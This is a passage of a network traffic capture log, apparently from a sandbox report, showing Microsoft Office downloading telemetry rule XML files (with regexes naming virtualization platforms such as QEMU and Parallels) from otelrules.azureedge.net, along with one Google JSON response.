2024-11-19 19:05:29 UTC	933	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 19:05:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 19:05:29 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-19 19:05:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190529Z-1777c6cb754g9zd5hC1TEBfvpw00000008n000000000ekeb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190529Z-1777c6cb754g9zd5hC1TEBfvpw00000008k000000000s2rk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 19:05:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190529Z-185f5d8b95c5lcmhhC1NYCsnsw000000095g00000000s52e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190529Z-185f5d8b95cgrrn8hC1NYCgwh40000000930000000001svz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-1777c6cb754rz2pghC1TEBghen00000008bg00000000m4k3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-185f5d8b95c5lcmhhC1NYCsnsw000000093g0000000103nb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-1777c6cb754lv4cqhC1TEB13us00000008d000000000sxnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-r1d97b99577gg97qhC1TEBcrf400000007fg00000000srz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-185f5d8b95c9mqtvhC1NYCghtc000000093g00000000z8h2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-r1d97b99577656nchC1TEBk98c00000007xg000000000k1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190530Z-185f5d8b95cjbkr4hC1NYCeu2400000008y000000000t2vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:30 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
